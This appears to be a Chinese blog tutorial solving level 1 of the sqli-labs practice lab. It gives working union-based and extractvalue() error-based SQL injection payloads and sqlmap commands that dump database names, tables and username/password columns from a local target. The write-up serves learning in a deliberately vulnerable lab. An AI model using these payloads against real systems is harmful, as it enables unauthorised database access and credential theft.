sqli-labs

183 阅读4分钟

sqli-labs

第一关

一. 直接注入

图片.png

我们尝试注入 ?id=1 and 1=1?id=1 and 1=2发现页面没有报错。可以知道此题不是整型注入。我在源码中加入了echo"$sql",所以页面会显示我们注入的sql语句。

图片.png

之后我们输入?id=1'显示为

图片.png 所以我们可以判断出为字符型注入。 于是我们拼接字符串?id=1' and '1'='1

图片.png

回显正常

我们使用order by来确定表中列数,于是我们构造?id=1'and '1'='1' order by 1 --+页面显示正常

图片.png

再次构造?id=1' and order by 2 --+——页面显示正常 ?id=1' and order by 3 --+——页面显示正常
?id=1' and '1'='1' order by 4 --+——出错如图

图片.png

所以我们可以确定了字段数,于是可以利用union查询,先构造正确的报错行为,接下来用union select 1,2,3--+(即union左边的查询结果为空,右边的查询结果显示到网页上)可以爆出显示位。所以我们可以构造?id=-1' union select 1,2,3--+

图片.png

或者构造?id=1' and 1=2 union select 1,2,3--+

图片.png

等等凡是union左面为错误即可。根据回显的结果,我们可以知道回显位为2,3。

所以我们开始利用union进行查询:

  1. 查询数据库和版本信息: ?id=1' and 1=2 union select 1,database(),version()--+

图片.png

了解到数据库是security,版本信息:10.3

  1. 爆出该数据库的表名: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

图片.png 得到了该数据库的表名

  1. 查看各种表的字段名(例如:user): ?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+

图片.png

  1. 查询字段信息: ?id=-1' union select 1,2,group_concat(username,0x5c,password)from users--+(0x5c:)

图片.png

得到了username和password。

二,使用sqlmap注入

因为我们已经知道注入点,所以直接使用sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs

图片.png

我们知道了security数据库,开始爆表sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables

图片.png

爆字段sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns

图片.png

爆出字段下的信息sqlmap -u "http://127.0.0.1/sqli-labs/less-1/?id=1" -D security -T user -C "id,username,password" --dump

图片.png

得到信息。

三. 手工报错注入

  1. 爆数据库?id=1' union select 1,2,extractvalue(1,concat(0x5c,database()))--+ 或者?id=1' and extractvalue(1,concat(0x5c,database()))--+

图片.png

得到数据库名:security

  1. 爆表名?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

图片.png

得到表名

  1. 爆字段?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('id')))) --+

图片.png

  1. 爆值?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

图片.png

总结:应用extractvalue()。格式基本为:extractalue(1,concat(0x5c,(select group_concat(A) from information_schema.B where C)))--+

爆数据库extractvalue(1,concat(0x5c,database()))--+

爆表名A:table_name、B:tables、C:table_schema=database()

爆字段名A:column_name、B:columns、C:table_name='表名' and column_name not in ('不包括的内容')(防止返回的错误太长,而不能完全显示)

爆值:A:字段名、B:表名、C:可以指定字段,然后不输出该字段的某个值。如: 字段名 not in('指定不包括的值‘,’同前一个‘)

PS:

  1. 判断是否为整型注入,在数据库中1=1 和1=2  后面随便输入字符串(相当于1=1和1=2后面的查询语句)。我们可以测试,select 1="1dadfas“

图片.png

输入select 1="2fdafd"

图片.png

输入select 2="2fdasfd"

图片.png

我们可以看出当在select查询时,会忽略后面的字符串只与字符串的第一个数字对比,如果相等就返回1,不相等就返回0。

  1. 联合查询特点:(1)要求多条查询语句的查询列数是一致的 (2)要求多条查询语句的查询的每一列的类型和顺序最好一致

(3)union关键字默认去重,如果使用union all可以包含重复项

  1. sql注释为#,mysql也可以用--来注释 blog.csdn.net/weixin_4309…

  2. union查询中要有报错:这样就可以把后面的sql语句带进sql里进行操作,从而获取回显位。

(1)blog.csdn.net/qq_32719221…

(2)

图片.png

  1. sqlmap基本语句: --dbs:查看所有数据库 --tables:查看所有表 --columns:查看所有字段名 --dump:查询那个表的数据 www.freebuf.com/sectool/164…

  2. 基本函数: version();查看数据库版本 database();查看使用的数据库
    user();查看当前用户 limit:limit子句分批来获取所有数据 group_concat();一次性获取所有数据库信息 table_name;表名 table_schema;数据库名 column_name;字段名 information_schema.schema;查询所有数据库 information_schema.tables;查询所有表名 information_schema.columns;查询所有表头(列名)

  3. 关于extractvalue()的使用

blog.csdn.net/weixin_4614…